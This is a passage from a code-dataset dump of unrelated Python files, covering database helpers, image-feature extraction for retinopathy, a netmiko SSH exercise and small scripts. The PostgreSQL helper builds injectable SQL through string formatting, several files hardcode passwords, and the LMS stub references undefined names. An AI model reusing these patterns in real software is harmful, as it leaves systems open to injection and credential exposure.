'__main__':\r\n\tmain()\r\n\r\n","sub_path":"Algorithm/Gauss-Jordan_Algorithm.py","file_name":"Gauss-Jordan_Algorithm.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"124538658","text":"import csv\nimport psycopg2\nfrom setting import run_path\n\n\ndef add_csv_datas(csvname, csvrow):\n # dataPath = os.path.dirname(path) # 获取当前路径上级目录\n csvPath = run_path + '\\\\data\\\\' + csvname\n rows = []\n with open(csvPath, 'r') as csvFile:\n datas = csv.reader(csvFile)\n for row in datas:\n rows.append(row)\n return rows[csvrow][1]\n\n\nclass postgreSql:\n \"\"\"操作数据库\"\"\"\n\n def __init__(self):\n super(postgreSql, self).__init__()\n self.conn = psycopg2.connect(database='testnewoms', user='postgres', password='123123', host='192.168.0.252', port='5432')\n self.cur = self.conn.cursor()\n\n def isConsExist(self, customerCode):\n # 判断给的客户代码是否存在,存在返回True\n order = \"select * from tbl_customer where customer_code='%s'\" % customerCode\n self.cur.execute(order)\n rows = self.cur.fetchall()\n if rows == []:\n return False\n else:\n return True\n\n def tableCount(self, table):\n # 返回表中有多少条记录\n order = \"select count (*) from %s\" % table\n self.cur.execute(order)\n count = self.cur.fetchone()\n return count[0]\n\n def consOderBy(self):\n # 找出最后新增的客户代码\n order = \"SELECT customer_code FROM tbl_customer ORDER BY customer_code DESC\"\n self.cur.execute(order)\n code = self.cur.fetchone()\n return code[0]\n\n def __del__(self):\n self.conn.close()\n del self.conn\n# a = postgreSql()\n# print(a.consOderBy())\n","sub_path":"test_case/public/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"187764355","text":"import re\nimport math\nimport datetime\n\nt = \"I want to be a professor, but only one thing I can solve is x=exp(8)+sqrt(17)+log(5)\"\n\n\ndef process(text):\n re_match = re.search('x=', text)\n equation = text[re_match.span()[1]:]\n ops = {'exp': math.exp, 'sqrt': math.sqrt, 'log': math.log}\n actions = equation.split('+')\n result = 0\n for action in actions:\n action = action.replace('(', ' ').replace(')', '')\n op, value = action.split(' ')\n result += ops[op](int(value))\n report = \"Result = {response}; Date {date}\".format(\n response=result,\n date=datetime.datetime.now().strftime('%d/%m/%y')\n )\n print(report)\n\n\nprocess(t)\n","sub_path":"007_Samples/tasks_2.py","file_name":"tasks_2.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"304865585","text":"from sklearn.feature_selection import VarianceThreshold\r\nfrom skimage.exposure import equalize_adapthist\r\nfrom skimage.util import view_as_windows, view_as_blocks\r\nfrom skimage.data import load\r\nfrom scipy.signal import medfilt\r\nimport numpy as np\r\nimport matplotlib.image as mpimg\r\nimport matplotlib.cm as cm\r\nfrom skimage.draw import circle_perimeter\r\nimport multiprocessing\r\nfrom sklearn.cluster import MiniBatchKMeans\r\nimport csv\r\nimport time\r\nimport os\r\nfrom ..distance.distance import cdist as native_cdist\r\n\r\n\r\n#calculates entropy of an image\r\n#used as a feature for dataset clustering\r\ndef calc_entropy(img):\r\n from matplotlib.pylab import hist\r\n from scipy.stats import entropy\r\n hist, bins = np.histogram(img.ravel(), 256, [0,256])\r\n distribution = hist.astype(np.float32)/bins.shape[0]\r\n return entropy(distribution)\r\n\r\n\r\n#clusters images into k clusters\r\ndef cluster_images(path, k, batch_size):\r\n \"\"\"\r\n :param path: path to a folder with image files\r\n :return:\r\n \"\"\"\r\n dir = os.listdir(path)\r\n images = np.zeros((len(dir), 3))\r\n\r\n for i, imgname in enumerate(dir):\r\n img = load(path + imgname)\r\n images[i, 0] = np.mean(img)\r\n images[i, 1] = np.var(img)\r\n images[i, 2] = calc_entropy(img)\r\n print(str(i) + \"/\" + str(len(dir)))\r\n\r\n\r\n estimator = MiniBatchKMeans(n_clusters=k, verbose=True, batch_size=batch_size)\r\n estimator.fit(images)\r\n from sklearn.externals import joblib\r\n joblib.dump(estimator, 'estimator.pkl')\r\n np.save('data.npy', images)\r\n\r\n\r\n#select centroids with variance higher than average\r\ndef select_centroids(centroids):\r\n \"\"\"\r\n :param centroids: learned centroids\r\n :return: new_centroids: (without centroids with variance < avg_variance(centroids))\r\n \"\"\"\r\n sel = VarianceThreshold(threshold=np.var(centroids))\r\n new_centroids = sel.fit_transform(centroids.T)\r\n new_centroids = new_centroids.T\r\n return new_centroids\r\n\r\n\r\n#create centroids image\r\n#quadratic grid of centroids\r\ndef centroids_to_image(centroids, image_size, rfsize, g=0):\r\n \"\"\"\r\n\r\n :param image_size: image is nxn\r\n :param rfsize: receptive field size\r\n :param g:\r\n :return: .png image with centroid images in a grid\r\n \"\"\"\r\n margin = image_size / rfsize\r\n horizontal = []\r\n for i in range(margin):\r\n for j in range(margin):\r\n if j == 0:\r\n m_img = np.reshape(centroids[i*margin + j,:], (rfsize, rfsize))\r\n else:\r\n m_img = np.hstack((m_img, np.reshape(centroids[i*margin + j,:], (rfsize, rfsize))))\r\n horizontal.append(m_img)\r\n\r\n img = horizontal[0]\r\n for m_img in horizontal[1:]:\r\n img = np.vstack((img, m_img))\r\n\r\n mpimg.imsave('centroids_{0}{1}.png'.format(rfsize, g), img, cmap=cm.Greys_r)\r\n\r\n#extract patches from an image\r\ndef extract_patches(path, numPatchesPerImage, patchSize):\r\n\r\n \"\"\"\r\n :param path: path to a RGB fundus image\r\n :param numPatchesPerImage: number of patches to extract per image\r\n :param patchSize: patch is nxn size\r\n :return: patches: matrix with an image patch in each row\r\n \"\"\"\r\n\r\n img = load(path)\r\n img = img[:,:,1]\r\n #contrast enhancemenet\r\n img = equalize_adapthist(img)\r\n windows = view_as_windows(img, (patchSize,patchSize))\r\n j = 0\r\n patches = np.zeros((numPatchesPerImage, patchSize*patchSize))\r\n while(j < numPatchesPerImage):\r\n \r\n sx = np.random.randint(0, windows.shape[0] - 1) \r\n sy = np.random.randint(0, windows.shape[0] - 1)\r\n x = (patchSize/2 - 1) + sx\r\n y = (patchSize/2 - 1) + sy\r\n r = (img.shape[0]/2) - 1\r\n\r\n if np.sqrt((x - r) ** 2 + (y - r) **2 ) < r:\r\n patch = windows[sx, sy, :].flatten() \r\n patches[j,:] = patch\r\n j += 1 \r\n else:\r\n if j > 0:\r\n j -= 1 \r\n \r\n return patches\r\n\r\n\r\n#retina shape can be approximated with a circle of a radius = img.height/2 - 1\r\ndef get_perimeter(img):\r\n \"\"\"\r\n :param img:\r\n :return:\r\n \"\"\"\r\n cx = img.shape[0]/2\r\n cc, rr = circle_perimeter(cx - 1, cx - 1, 256)\r\n return rr, cc\r\n\r\n#parallelized function for patch extraction\r\n#sets the pool size to the number of cpus available\r\n#actually usable only locally. not really portable to work\r\ndef extract(rfSize, path):\r\n \"\"\"\r\n :param rfSize: receptive field size\r\n :param path:\r\n :return:\r\n \"\"\"\r\n nums = {0:1, 1:5, 2:2, 3:10, 4:10}\r\n #labels_dict = open_csv()\r\n #currently a dummy variable, should contain labels of train examples\r\n labels_dict = {}\r\n\r\n for j in range(0, 5):\r\n if j == 0:\r\n images = labels_dict[j][:10000]\r\n\r\n numOfPatches = nums[j]\r\n# path = '/home/jbzik/Documents/Diplomski_Bzik/jbzik_kaggle_data/data/resized/trainOriginal/'\r\n\r\n patches = np.zeros((len(images)*numOfPatches, rfSize*rfSize))\r\n \r\n pool = multiprocessing.Pool(multiprocessing.cpu_count())\r\n results = [pool.apply_async(extract_patches, args=(path + images[i] + '.jpeg', numOfPatches, rfSize,)) for i in range(len(images))]\r\n \r\n\r\n for i in range(len(images)):\r\n patches[i*numOfPatches: (i*numOfPatches) + numOfPatches,:] = np.array(results[i].get())\r\n\r\n if i % 10000 == 0:\r\n print(\"Extracting {0}/{1} patch\".format(i*nums[j], nums[j]*len(images)))\r\n\r\n print(\"Finished\")\r\n patches = patches[~np.isnan(patches).any(axis=1)]\r\n \r\n np.save('core/patches_{0}_{1}.npy'.format(j, rfSize), patches)\r\n\r\n\r\n#@profile\r\ndef kmeans(rfsize):\r\n \"\"\"\r\n :param rfsize: receptive field size\r\n :return: centroids (patches that represent some cluster of similar patches)\r\n \"\"\"\r\n\r\n ###########################################################\r\n #in this part patches should be generated or read from a file to the variable patches\r\n #my code is not portable\r\n #it's tied to files that were generated locally\r\n patches0 = np.load('core/patches_0_{0}.npy'.format(rfsize))\r\n patches1 = np.load('core/patches_1_{0}.npy'.format(rfsize))\r\n patches = np.vstack((patches0, patches1))\r\n patches0 = np.load('core/patches_2_{0}.npy'.format(rfsize))\r\n patches1 = np.load('core/patches_3_{0}.npy'.format(rfsize))\r\n patches = np.vstack((patches, patches0, patches1))\r\n patches0 = np.load('core/patches_4_{0}.npy'.format(rfsize))\r\n patches = np.vstack((patches, patches0))\r\n ############################################################\r\n\r\n\r\n #data normalization (standardization)\r\n p_mean = np.mean(patches, axis=1, dtype=np.float32, keepdims=True)\r\n p_var = np.var(patches, axis=1, dtype=np.float32, keepdims=True)\r\n off_matrix = 10.0 * np.ones(p_var.shape)\r\n patches = (patches - p_mean) / np.sqrt(p_var + off_matrix)\r\n\r\n #data whitening\r\n covariance_matrix = np.cov(patches, y=None, rowvar=0, ddof=1).T\r\n mean = np.mean(patches, axis=0, dtype=np.float32, keepdims=False)\r\n eigenvalues, eigenvectors = np.linalg.eig(covariance_matrix)\r\n U = np.dot(np.dot(eigenvectors, np.diag(np.diag(np.sqrt(1./(np.diagflat(eigenvalues) + 0.1))))), eigenvectors.T)\r\n\r\n #load whitening parameters that were saved earlier\r\n #M = np.load('train_mean_windowsize.npy')\r\n #P = np.load('train_eigenvectors_windowsize.npy')\r\n patches = np.dot((patches - mean), U)\r\n\r\n\r\n #save whitening parameters for use later\r\n np.save('core/train_mean_windowsize', mean)\r\n np.save('core/train_eigenvectors_windowsize', U)\r\n\r\n #set n_clusters and estimate centroids using minibatch kmeans\r\n #https://algorithmicthoughts.wordpress.com/2013/07/26/machine-learning-mini-batch-k-means/\r\n n_clusters = int(np.sqrt(patches.shape[0]/2))\r\n estimator = MiniBatchKMeans(n_clusters=n_clusters, verbose=True, batch_size=1000, compute_labels=False)\r\n estimator.fit(patches)\r\n\r\n #save centroids\r\n np.save('core/centroids.npy', estimator.cluster_centers_)\r\n\r\ndef pool(q):\r\n \"\"\"\r\n :param q:\r\n :return:\r\n \"\"\"\r\n return np.array([np.sum(np.sum(q, axis=1), axis=0)])\r\n\r\n#quadrant pooling\r\ndef pool_quadrant(patches, rooti, rootj, i, j, iz, jw):\r\n \"\"\"\r\n :param patches:\r\n :param rooti:\r\n :param rootj:\r\n :param i:\r\n :param j:\r\n :param iz:\r\n :param jw:\r\n :return:\r\n \"\"\"\r\n q1 = pool(patches[rooti:rooti+i, rootj:rootj+j, :])\r\n #q2 = pool(patches[rooti+i:iz, rootj:rootj+j, :])\r\n q3 = pool(patches[rooti:rooti+i, rootj+j:jw, :])\r\n #q4 = pool(patches[rooti+i:iz, rootj+j:jw, :])\r\n\r\n q = np.vstack((q1,q3)).flatten()\r\n return q\r\n\r\n\r\n#generate features for an image based on learned centroids\r\ndef extract_features_img(path, centroids, rfSize, M, U, stride, normal_pooling=True):\r\n \"\"\"\r\n :param path: path to RGB retina image\r\n :param centroids: learned centroids\r\n :param rfSize: receptive field size\r\n :param M: whitening parameter\r\n :param P: whitening parameter\r\n :param stride: parameter that defines the density of windows that are extracted from an image\r\n :param normal_pooling: if true:\r\n divide in 4 regions and pool each one\r\n else: divide in 16 regions and pool each one\r\n :return:feature_vector\r\n \"\"\"\r\n\r\n img = load(path)\r\n try:\r\n img = img[:,:,1]\r\n except:\r\n return None\r\n\r\n #contrast enhancing\r\n img = equalize_adapthist(img)\r\n numFeats = img.shape[0] * img.shape[1]\r\n numCentroids = centroids.shape[0]\r\n\r\n #extract dense patches with predefined stride\r\n #smaller the stride, slower the function\r\n windows = view_as_windows(img, (rfSize, rfSize), stride)\r\n patches = np.reshape(windows, (windows.shape[0]*windows.shape[1], rfSize*rfSize))\r\n\r\n #data normalization\r\n p_mean = np.mean(patches, axis=1, dtype=np.float32, keepdims=True)\r\n p_var = np.var(patches, axis=1, dtype=np.float32, ddof=1, keepdims=True)\r\n off_matrix = 10.0 * np.ones(p_var.shape)\r\n patches = (patches - p_mean) / np.sqrt(p_var + off_matrix)\r\n \r\n patches = np.dot((patches - M), U)\r\n \r\n #calculate distance from all patches to all centroids\r\n z = native_cdist(patches, centroids)\r\n \r\n #mean distance from each patch to all centroids\r\n #triangle activation function\r\n mu = np.tile(np.array([np.mean(z, axis = 1)]).T, (1, centroids.shape[0]))\r\n patches = np.maximum(mu - z, np.zeros(mu.shape))\r\n\r\n rows = (img.shape[0] - rfSize + stride)/stride\r\n columns = (img.shape[1] - rfSize + stride)/stride\r\n \r\n patches = np.reshape(patches, (rows, columns, numCentroids))\r\n\r\n #starting points\r\n #central point # of the patches \"image\"\r\n halfr = np.round(float(rows)/2)\r\n halfc = np.round(float(columns)/2)\r\n\r\n #pool quadrants\r\n if normal_pooling: \r\n q1 = np.array([np.sum(np.sum(patches[0:halfc, 0:halfr, :], axis = 1),axis = 0)])\r\n q2 = np.array([np.sum(np.sum(patches[halfc:patches.shape[0], 0:halfr, :], axis = 1),axis = 0)])\r\n q3 = np.array([np.sum(np.sum(patches[0:halfc, halfr:patches.shape[1], :], axis = 1),axis = 0)])\r\n q4 = np.array([np.sum(np.sum(patches[halfc:patches.shape[0], halfr:patches.shape[1], :], axis = 1),axis = 0)])\r\n feature_vector = np.vstack((q1,q2,q3,q4)).flatten()\r\n\r\n else:\r\n \r\n quartr = np.round(float(rows)/4)\r\n quartc = np.round(float(columns)/2)\r\n q1 = pool_quadrant(patches, 0, 0, quartc, quartr, halfc, halfr) \r\n q2 = pool_quadrant(patches, halfc, 0, quartc, quartr, patches.shape[0], halfr) \r\n q3 = pool_quadrant(patches, 0, halfr, quartc, quartr, halfc, patches.shape[1])\r\n q4 = pool_quadrant(patches, halfc, halfr, quartc, quartr, patches.shape[0], patches.shape[1])\r\n feature_vector = np.vstack((q1, q2, q3, q4)).flatten()\r\n\r\n \r\n return feature_vector\r\n\r\n\r\n\r\n#function is not really usable\r\n#extracts features from all training images\r\ndef extract_features_all(rfSize, stride=False, train=True):\r\n images_dict = []\r\n if train:\r\n path = ''\r\n else:\r\n path =''\r\n images = []\r\n labels = []\r\n\r\n for folder in os.listdir(path):\r\n if 'train_sm' in folder:\r\n temp = os.listdir(path + folder)\r\n images += [path + folder + '/' + c for c in temp if c.split('.')[0] not in images_dict[0]]\r\n \r\n for l in temp:\r\n label = l.split('.')[0]\r\n if label in images_dict[1]:\r\n labels.append(1)\r\n elif label in images_dict[2]:\r\n labels.append(2)\r\n elif label in images_dict[3]:\r\n labels.append(3)\r\n elif label in images_dict[4]:\r\n labels.append(4)\r\n \r\n if stride:\r\n stride = stride\r\n else:\r\n stride = rfSize/2\r\n\r\n centroids = np.load('core/{0}vs512/centroids16_selected.npy'.format(rfSize))\r\n M = np.load('core/{0}vs512/train_mean_windowsize.npy'.format(rfSize))\r\n P = np.load('core/{0}vs512/train_eigenvectors_windowsize.npy'.format(rfSize))\r\n \r\n if train:\r\n numOfExamples = 0\r\n images = []\r\n for i in range(5):\r\n numOfExamples += len(images_dict[i])\r\n images += images_dict[i]\r\n else:\r\n# images = os.listdir(path)\r\n numOfExamples = len(images)\r\n \r\n X = np.zeros((numOfExamples, centroids.shape[0]*8))\r\n \r\n for i in range(len(images)):\r\n s = time.time()\r\n if train:\r\n X[i,:] = extract_features_img(path + images[i] + '.jpeg', centroids, rfSize, M, P, stride, False)\r\n else:\r\n print(images[i])\r\n X[i,:] = extract_features_img(images[i], centroids, rfSize, M, P, stride, False)\r\n \r\n\r\n #print X[i,:]\r\n print(X[i,:].shape)\r\n end = time.time()\r\n print(\"Sample {0}/{1}\".format(i, len(images)))\r\n print(images[i])\r\n print(end - s)\r\n\r\n if train: \r\n np.save('train_features_{0}_dense.npy'.format(rfSize), X)\r\n else:\r\n np.save('additional_features_{0}.npy'.format(rfSize), X)\r\n np.save('additional_labels.npy', np.array(labels))\r\n\r\n\r\n##########################################################################\r\n#Not sure if this part with second layer features works\r\n#It should be the same process again\r\n#It resulted with a mild increase of precision and recall of the final model\r\ndef extract_second_layer_centroids(features):\r\n \r\n patches = np.zeros((features.shape[0]*100, 100))\r\n\r\n for i in range(features.shape[0]):\r\n for j in range(50):\r\n patch = np.random.choice(features[i,:], 100)\r\n print(patch)\r\n patches[i*50 + j,] = patch\r\n print(\"{0}/{1}\".format(i*50+j, features.shape[0]*50)) \r\n \r\n p_mean = np.mean(patches, axis=1, dtype=np.float32, keepdims=True)\r\n p_var = np.var(patches, axis=1, dtype=np.float32, ddof=1, keepdims=True)\r\n off_matrix = 10.0 * np.ones(p_var.shape)\r\n patches = (patches - p_mean) / np.sqrt(p_var+ off_matrix)\r\n\r\n numCentroids = int(np.sqrt(patches.shape[0]/2))\r\n estimator = MiniBatchKMeans(numCentroids, verbose=True, batch_size=1000, compute_labels=False)\r\n patches = patches[~np.isnan(patches).any(axis=1)]\r\n estimator.fit(patches)\r\n\r\n\r\n np.save('second_layer_centroids.npy', estimator.cluster_centers_)\r\n\r\ndef extract_second_layer_features(centroids, features):\r\n \r\n s_features = np.zeros((features.shape[0], 4*centroids.shape[0]))\r\n\r\n for i in range(features.shape[0]):\r\n \r\n patches = np.zeros((features.shape[1]/100 + 1, 100))\r\n for j in range(0, features.shape[1], 100):\r\n if features[i, j:j+100].shape[0] == 100:\r\n patches[j/100,:] = features[i, j:j+100]\r\n \r\n patchesMean = np.mean(patches, axis=1, dtype=np.float32, keepdims=True)\r\n patchesVar = np.var(patches, axis=1, dtype=np.float32, keepdims=True)\r\n offsetMatrix = 10.0 * np.ones(patchesVar.shape)\r\n patches = (patches - patchesMean) / np.sqrt(patchesVar + offsetMatrix)\r\n\r\n z = native_cdist(patches, centroids)\r\n \r\n mu = np.tile(np.array([np.mean(z, axis = 1)]).T, (1, centroids.shape[0]))\r\n patches = np.maximum(mu - z, np.zeros(mu.shape))\r\n \r\n q = patches.shape[0]/4\r\n q1 = np.sum(patches[0:q,:], axis=0) \r\n\r\n q_all = q1\r\n for j in range(1,4):\r\n q_all = np.hstack((q_all,np.sum(patches[j*q:(j+1)*q,:], axis=0)))\r\n\r\n s_features[i,:] = q_all\r\n\r\n np.save('second_layer_additional_features.npy', s_features)","sub_path":"data/external/repositories_2to3/190816/MasterThesisDiabeticRetinopathy-master/scripts/core/main_lib.py","file_name":"main_lib.py","file_ext":"py","file_size_in_byte":16710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"151785751","text":"# -*- coding: utf-8 -*-\n\"\"\"\nЗадание 19.3\n\nСоздать функцию send_commands (для подключения по SSH используется netmiko).\n\nПараметры функции:\n* device - словарь с параметрами подключения к устройству, которому надо передать команды\n* show - одна команда show (строка)\n* config - список с командами, которые надо выполнить в конфигурационном режиме\n\nВ зависимости от того, какой аргумент был передан, функция вызывает разные функции внутри.\nПри вызове функции send_commands, всегда будет передаваться только один из аргументов show, config.\n\nДалее комбинация из аргумента и соответствующей функции:\n* show - функция send_show_command из задания 19.1\n* config - функция send_config_commands из задания 19.2\n\nФункция возвращает строку с результатами выполнения команд или команды.\n\nПроверить работу функции:\n* со списком команд commands\n* командой command\n\nПример работы функции:\n\nIn [14]: send_commands(r1, show='sh clock')\nOut[14]: '*17:06:12.278 UTC Wed Mar 13 2019'\n\nIn [15]: send_commands(r1, config=['username user5 password pass5', 'username user6 password pass6'])\nOut[15]: 'config term\\nEnter configuration commands, one per line. End with CNTL/Z.\\nR1(config)#username user5 password pass5\\nR1(config)#username user6 password pass6\\nR1(config)#end\\nR1#'\n\"\"\"\nfrom task_19_1 import send_show_command\nfrom task_19_2 import send_config_commands\nfrom netmiko import ConnectHandler\nimport yaml\nfrom pprint import pprint\n\ncommands = [\"logging 10.255.255.1\", \"logging buffered 20010\", \"no logging console\"]\ncommand = \"sh ip int br\"\ndevice = {\"ip\": '172.16.1.2', # СЛОВАРЬ С ПАРАМЕТРАМИ ПОДКЛЮЧЕНИЯ К УСТРОЙСТВУ\n \"username\": \"cisco\",\n \"password\": \"cisco\",\n \"secret\": \"cisco\",\n \"device_type\": \"cisco_ios\"}\n\n\ndef send_commands(device, **kwargs):\n if 'show' in kwargs: #если есть show выполняем функцию send_show_command из задания 19.1\n# print('we need show')\n command = kwargs['show']\n# print(command)\n result = send_show_command(device, command)\n elif 'config' in kwargs: #если есть config выполняем функцию send_config_commands из задания 19.2\n# print('we have config')\n conf_commands = kwargs['config'] #список команд\n# print(conf_commands)\n result = send_config_commands(device, conf_commands)\n else: # Если нет ни show ни config\n print('something wrong in ' + kwargs)\n return result\n\nif __name__==\"__main__\":\n#print(send_commands(device, show = 'sh ip int br' ))\n print(send_commands(device, config=[\"logging 10.255.255.1\", \"logging buffered 20010\", \"no logging console\"]))\n","sub_path":"exercises/19_ssh_telnet/task_19_3.py","file_name":"task_19_3.py","file_ext":"py","file_size_in_byte":3309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"453531809","text":"# Copyright (c) 2013, Li Sijin (lisijin7@gmail.com)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# - Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# \n# - Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nfrom ibasic_convdata import *\n\nclass NoahDataProviderError(Exception):\n pass\n\nclass CroppedImageNetDataProvider(CroppedImageDataProvider):\n \"\"\"\n \n \"\"\"\n def __init__(self, data_dir, image_range, init_epoch=1, init_batchnum=None, dp_params={}, test=False):\n CroppedImageDataProvider.__init__(self, data_dir, image_range, init_epoch, init_batchnum, dp_params, test)\n self.labels = self.batch_meta['labels'] #\n self.labelnames = self.batch_meta['labelnames'] #\n self.labelwords = self.batch_meta['labelwords'] #\n self.test = test\n\n ## Add alias name ( Since it will be called by cost function)\n self.batch_meta['label_names'] = self.batch_meta['labelnames'] #\n # override images_path\n self.images_path = map(lambda x:iu.fullfile(data_dir,x), \\\n map(lambda x:iu.getpath(x, 1),\\\n self.batch_meta['images_path']))\n self.num_classes = 1000\n def get_next_batch(self):\n if self.data_dic is None or len(self.batch_range) > 1:\n self.data_dic = self.get_batch(self.curr_batchnum)\n epoch, batchnum = self.curr_epoch, self.curr_batchnum\n self.advance_batch()\n ndata = self.data_dic['data'].shape[-1]\n alldata = [np.require(self.data_dic['data'].reshape((-1,ndata),order='F'),dtype=np.single, requirements='C'), \\\n np.require(np.asarray(self.data_dic['labels']).reshape((1,ndata)), dtype=np.single, requirements='C')]\n return epoch, batchnum, alldata\n # _joint_batches use the parant class's method\n def get_batch(self, batch_num):\n \"\"\"\n batch_num in self.image_range\n \"\"\"\n dic = CroppedImageDataProvider.get_batch(self, batch_num)\n labels = map(lambda x:self.labels[0, x], dic['cur_batch_indexes'])\n dic['labels'] = labels;\n return dic\n def get_data_dims(self, idx=0):\n return iprod(self.input_image_dim) if idx==0 else 1\n\n","sub_path":"noah_convdata.py","file_name":"noah_convdata.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"523221116","text":"import string\r\n\r\nfrom onyx.lms._models import assignment\r\nfrom onyx.lms._models import grading_option\r\nfrom onyx.lms._models import group\r\nfrom onyx.lms._models import section\r\n\r\ndef create_token(length=7):\r\n from onyx.rand import rand_string\r\n return rand_string(len=length, chars=string.ascii_uppercase + string.digits)\r\n\r\ndef create_section(db, state, teacher_id, section_name):\r\n str_length = 7\r\n for i in range(25):\r\n try:\r\n lms.section.insert(db, create_token(str_length+i), class_name, teacher_id)\r\n break\r\n except:\r\n pass\r\n \r\ndef join_section(db, state, token, student_id):\r\n _section = section.get_by_token(db, token)\r\n \r\n if not _section:\r\n state.success = False\r\n state.errors['class_code'] = \"Invalid Class Code\"\r\n return\r\n \r\n section.add_student_to_section(db, _section.id, student_id, accepted=True)\r\n ","sub_path":"web/onyx/lms/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"469663762","text":"import csv\n\nxp_player = [] #PLayers with XP\nnoxp_player = [] #Players without XP\n\nsharks = [] #Team Sharks\ndragons = [] #Team Dragons\nraptors = [] #Team Rapotrs\n\ndef divide_by_xp(): #divide the players by experience\n with open(\"soccer_players.csv\") as soccer_players_csv:\n players = csv.reader(soccer_players_csv, delimiter=',')\n for player in players:\n if player[2] == \"YES\":\n xp_player.append(player)\n elif player[2] == \"NO\":\n noxp_player.append(player)\n\n\ndef welcome(teamname, teamlist): #makes the welcome letters for the players of the team\n while teamlist:\n player = teamlist.pop()\n x = player[0].split()\n filename = x[0].lower()+\"_\"+x[1].lower()+\".txt\"\n letter = \"\"\"Dear {},\nCongratulations to {} because she/he is now just become a member of {} team!\nFirst practice starts in October 5th 15:00 in the stadium.\nBest Regards:\n Mr. Administrator\n \"\"\".format(player[3], player[0], teamname)\n with open(filename, \"w\") as file:\n file.write(letter)\n\n\ndef teamsort(teamlist): #splitting the input list into the 3 different teams\n teamcounter = 1\n while teamlist:\n if teamcounter == 1:\n sharks.append(teamlist.pop())\n teamcounter += 1\n elif teamcounter == 2:\n dragons.append(teamlist.pop())\n teamcounter += 1\n elif teamcounter == 3:\n raptors.append(teamlist.pop())\n teamcounter = 1\n\n\ndef teamlist(teamname, teamlist): #returning the team list as a string with team name\n teamstring = teamname+\"\\n\"\n for player in teamlist:\n teamstring += (player[0])+\", \"+(player[2])+\", \"+(player[3])+\"\\n\"\n return(teamstring)\n\n\ndef teamexport(): #exporting the teams into the txt\n with open(\"teams.txt\", \"w\") as file:\n exportstring = teamlist(\"Sharks\", sharks)+\"\\n\"\n exportstring += teamlist(\"Dragons\", dragons)+\"\\n\"\n exportstring += teamlist(\"Raptors\", raptors)\n file.write(str(exportstring))\n welcome(\"Sharks\", sharks)\n welcome(\"Dragons\", dragons)\n welcome(\"Raptors\", raptors)\n\n\nif __name__ == \"__main__\":\n divide_by_xp()\n teamsort(xp_player)\n teamsort(noxp_player)\n teamexport()\n","sub_path":"league_builder.py","file_name":"league_builder.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"500896377","text":"import sys\nsys.path.append('/home/achanna/poroelast9/imports/misc')\nfrom header import *\n\nimport detrend\nimport tradeoffs\nimport likelihoods\nimport forwardModels\nimport postProcessors\nfrom connect_info import *\n\ncon = MySQLdb.connect( db_addr, db_user, db_pswd )\ncur = con.cursor()\ncur.execute(\"DROP DATABASE IF EXISTS %s\" % db_title)\ncon.commit()\ncur.execute(\"CREATE DATABASE %s\" % db_title)\ncur.execute(\"USE %s\" % db_title)\ncon.commit()\ncon.close()\n\nstart_bucket(aws_id,aws_key,bucket)\n\nengine = sqlalchemy.create_engine('mysql+mysqldb://%s:%s@localhost/%s'%(db_user,db_pswd,db_title), echo=False)\nBase.metadata.create_all(engine)\n\nSession = sessionmaker()\nSession.configure(bind=engine)\nsession = Session()\n\n# define physical properties\nproperties=[]\nproperties.append( Property( title='x01', abv='x01', unit='1' ))\nproperties.append( Property( title='x02', abv='x02', unit='1' ))\n\n# define geometry and model domains\ndomains=[]\ndomains.append( Domain( title='Domain', geom=np.array([[0,2000],[0,2000],[-250,+500]]) ))\n\n# define prior probability distributions, define pxds\n\npriorModel0 = Uniform( -5.00, +5.00, 0.05 )\npriorModel1 = Uniform( -5.00, +5.00, 0.05 )\n\npxds=[]\npxds.append( Prop_X_Domain( property=properties[0], domain=domains[0], priorModel=priorModel0 ))\npxds.append( Prop_X_Domain( property=properties[1], domain=domains[0], priorModel=priorModel1 ))\n\nconstraints=[]\n\n# define instruments\ninstrumentTypes=[]\ninstrumentTypes.append( InstrumentType(title='f1',abv='f1',unit='1') )\n\ngeom = np.array([0,0,0])\n\ninstruments=[]\ninstruments.append( Instrument(title='f1',geom=geom) )\ninstruments[0].instType = instrumentTypes[0]\n\n# define forward models\nfmods=[]\nfmods.append(ForwardModel(fmod=forwardModels.buildInput))\n\nindVars = np.array([0])\n\nmeasurements = []\nmeasurements.append(Measurement( 